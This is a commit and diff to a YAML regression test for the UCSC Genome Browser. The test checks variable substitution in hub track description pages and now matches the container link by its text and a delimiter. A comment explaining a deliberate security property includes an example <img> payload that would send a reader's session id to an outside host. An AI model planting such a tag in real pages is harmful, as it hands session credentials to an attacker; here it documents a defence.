bcfcb704e8296f881896ee6197365ae719ea61d6
braney
  Wed Sep 23 11:06:11 2026 -0700
docent: rm38283 finds the container link by its text and a delimiter, refs #38252 #38283

Since 09f26ed9a7d (#38380) the page adds &hgsid= to every cgi-bin link, so the
description page's link no longer ends with the track name and the $= check failed.
A plain *= would pass without the substitution, because hgc prints its own hgTrackUi
and hgTables links that name the composite. So the check now requires the fixture's
link text, and "&" or the end of the href after the name. The delimiter matters
because _rm38283Super is a prefix of _rm38283SuperKid.

Passes on genome-test. Fails at step 5 on the v503 docker image, and fails when either
check is pointed at a wrong name or a prefix of the right one.

diff --git src/hg/utils/docent/tests/regress/rm38283.docent.yaml src/hg/utils/docent/tests/regress/rm38283.docent.yaml
index 83f54d656b4..40c8c2c24aa 100644
--- src/hg/utils/docent/tests/regress/rm38283.docent.yaml
+++ src/hg/utils/docent/tests/regress/rm38283.docent.yaml
@@ -1,90 +1,99 @@
 # #38283 -- a hub track's description page never went through variable substitution, so a
 # $db or $parentTrack in it reached the reader as literal text.  Native trackDb pages have
 # always been fine: hgTrackDb substitutes them when it loads trackDb.  A hub's html comes
 # straight off the hub's web server and there was no equivalent step.  Split out of #37599,
 # where the imprinting subtrack pages needed a link back to their container.
 #
 # c0e8fa6df3a does the substitution at RENDER time instead, in hgc and in hgTrackUi (they
 # call it separately), where $db, $hgsid and $parentTrack resolve to the hub_<id>_ names the
 # CGIs actually use, and adds $parentTrack, the container a track sits in.  5f590f874b9 then
 # split the recognized list in two and gave native pages a deferred ${hgsid} pass of their
 # own.
 #
 # Three things are asserted, and the second and third are the ones that are easy to break:
 #
 # 1. THE VARIABLES RESOLVE, in both CGIs.  $parentTrack has to name the COMPOSITE for a
 #    subtrack that sits under a VIEW -- a view has no description page of its own, so the
 #    walk skips it -- and the SUPERTRACK for a superTrack child.  The link is followed rather
 #    than only matched, so "it emits a working link to its container" is tested rather than
 #    asserted about a string.
 #
 # 2. AN UNKNOWN VARIABLE IS LEFT ALONE.  Only nine names are recognized, deliberately: a
 #    public hub can easily have "$track" inside a shell example in its Data Access section,
 #    and quietly rewriting that would be worse than not substituting at all.  The DECOYS line
 #    is one text: check covering $5, $HOME, ${notAVariable}, $type, $bigDataUrl and a bare
 #    dollar sign, all of which must come through the page unchanged.
 #
 # 3. $hgsid IS NOT SUBSTITUTED IN A HUB PAGE, and that is a security property rather than an
 #    oversight.  hVarSubst.c says why: a hub's page is written by someone else and only
 #    lightly sanitized (htmlSanitize allows an <img> with an http src), so a page holding
 #    <img src="https://example.com/px?s=${hgsid}"> would hand the reader's session id to the
 #    hub's server -- and a session id on its own is enough to read and write that cart.  So
 #    the check is that the literal "$hgsid" survives.  ${db} beside it, which DOES resolve,
 #    is what stops that being a check that substitution simply failed.
 #
 # The fixture is ~/public_html/docentFixtures/rm38283/: one description page shared by three
 # tracks, a composite, a view under it, a subtrack under the view, and a superTrack with one
 # child.  Every name carries the rm38283 prefix (regress/README.txt).  Note that the hub's
 # files are cached by udc on the server, so an edit to the fixture is not visible for some
 # minutes; a changed page is best given a new file name.
 #
 # NOT covered: the native half of 5f590f874b9, the deferred ${hgsid} pass over a NATIVE
 # trackDb description page.  Eighteen html files in the tree use it and all eighteen are in
 # makeDb/trackDb/contrib/bTaeGut7, which is a hub; no page on a database assembly does, so
 # there is nothing on genome-test to point a test at.
 #
 # There is no `hide: all` here on purpose.  It survives into the hub attach and leaves the
 # superTrack child hidden, and a hub track's cart name carries a per-run hub_<n>_ prefix that
 # `track:` cannot write, so there is no way to turn it back on.
 proof:
   - "assertion-only 2026-09-17 -- written from #38283, c0e8fa6df3a and 5f590f874b9 after both reached genome-test"
   - "release-ab 2026-09-17 -- fails on v503 and passes on genome-test (v504). v503_branch 707b184e329 built into ticket sandbox 38316, CGIs, js and htdocs: the hub description page emits no $parentTrack link to its container"
 
 target: genome-test
 db: hg38
 position: chr17:7667000-7676000
 reset: true
 fast: true
 steps:
   - hub: {url: "https://hgwdev.gi.ucsc.edu/~braney/docentFixtures/rm38283/hub.txt", db: hg38}
   - go: chr17:7667000-7676000
   - expect: {rows: [rm38283Sub, rm38283SuperKid]}
 
   # hgc, for the subtrack that sits under a view inside a composite.
   - click: {track: rm38283Sub, item: itemA}
   - expect:
-      # $parentTrack skipped the view and named the composite.  The href is matched at its
-      # END because the hub id in front of the name changes every run.
-      has: 'a[href$="_rm38283Comp"]'
+      # $parentTrack skipped the view and named the composite.  The hub id in front of the
+      # name changes every run, so the name is matched after its "_".  Since #38380 the page
+      # adds &hgsid= to every cgi-bin link, so the name is followed by "&" or by nothing.
+      # Two things keep this a test of the substitution and not of the page around it:
+      # the link text, because hgc prints its own hgTrackUi and hgTables links naming the
+      # composite, and the delimiter, because "_rm38283Super" below is a prefix of
+      # "_rm38283SuperKid".
+      has: >-
+        a:has-text("go to the container")[href*="_rm38283Comp&"],
+        a:has-text("go to the container")[href$="_rm38283Comp"]
       noHas: 'a[href*="rm38283View"]'
   - expect: {text: "DBIS hg38"}
   - expect: {text: "BRACEDDB hg38"}
   - expect: {text: "ORGANISMIS human"}
   - expect: {text: "HGSIDIS $hgsid"}
   - expect: {text: "DECOYS $5 $HOME ${notAVariable} $type $bigDataUrl and a bare $ sign"}
 
   # Follow the link the substitution built.  hgTrackUi substitutes the same page through its
   # own call, so this step covers the second CGI as well as proving the link works.
   - click: 'a:has-text("go to the container")'
   - expect:
       url: hgTrackUi
       text: "rm38283 composite container"
   - expect: {text: "DECOYS $5 $HOME ${notAVariable} $type $bigDataUrl and a bare $ sign"}
   - expect: {text: "HGSIDIS $hgsid"}
 
   # And a superTrack child, where $parentTrack has a container of a different kind to name.
   - go: chr17:7667000-7676000
   - click: {track: rm38283SuperKid, item: itemB}
   - expect:
-      has: 'a[href$="_rm38283Super"]'
+      has: >-
+        a:has-text("go to the container")[href*="_rm38283Super&"],
+        a:has-text("go to the container")[href$="_rm38283Super"]
       text: "DBIS hg38"